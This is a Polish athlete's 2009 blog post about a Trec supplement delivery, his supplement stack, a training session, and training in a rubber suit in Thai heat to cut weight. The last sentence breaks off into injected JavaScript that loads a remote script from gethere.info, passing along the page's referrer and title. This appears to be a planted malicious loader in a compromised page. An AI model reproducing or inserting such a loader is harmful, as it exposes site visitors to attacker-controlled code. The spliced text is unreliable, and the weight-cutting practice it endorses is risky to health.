Mikołaj

8.12.2009 / Mariusz Cieśliński

Dziś czekała na mnie paczka po porannym treningu. Nie były to odwiedziny Mikołaja – spóźnione co prawda, ale przesyłka z Treca – szary karton z charakterystyczną taśmą.

Myślami jestem już w przyszłym sezonie dla tego buduję wszystko już dziś. Grudzień mam przeznaczony na poprawę siły i wytrzymałości przy zachowaniu parametrów technicznych. Support dla moich wysiłków treningowych to: Karnityna -Gold, Clneburexin, NitroXpack, SteroXpack, Vitargo, MCT Gold, BCAA G Force, ZMA, Nitobolon Energizer.

cieslik3

Cieslik2

trec 001

Wczorajszy trening-mieszanina – ciężki worek, ekscentryka – czułem dziś po przebudzeniu. Popiół ze spalania we wczorajszym dniu w mięśniach dziś rano trochę mnie usztywnił. Ale takie treningi lubię ogromnie. Wiem,że uczciwie przepracowałem dzień.

Wczoraj przed zajęciami wspomagałem się Nitrobolonem Energizerem w solidnej dawce. W pierwszej części zajęć trochę mnie pospinało działanie tego środka ale odczucia jak najbardziej pozytywne. Działało wszystko tj. chciałem.

Trzy fotki z treningu to akurat z pobytu w Tajlandii 2lata temu. Mimo, że temperatura na zewnątrz ponad 30 stopni Celsjusza plus spora wilgotność, to jeszcze gumowy dresik pomaga dodatkowo włączyć turbo przy regulacji wagi. Właśnie do tak ekstremalnych warunków dla organizmu trzeba się przygotowywać. Na kotlecie mielonym popitym mineralną wodą organizm by tego nie wytrzymał.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‚head’)[0].appendChild(s);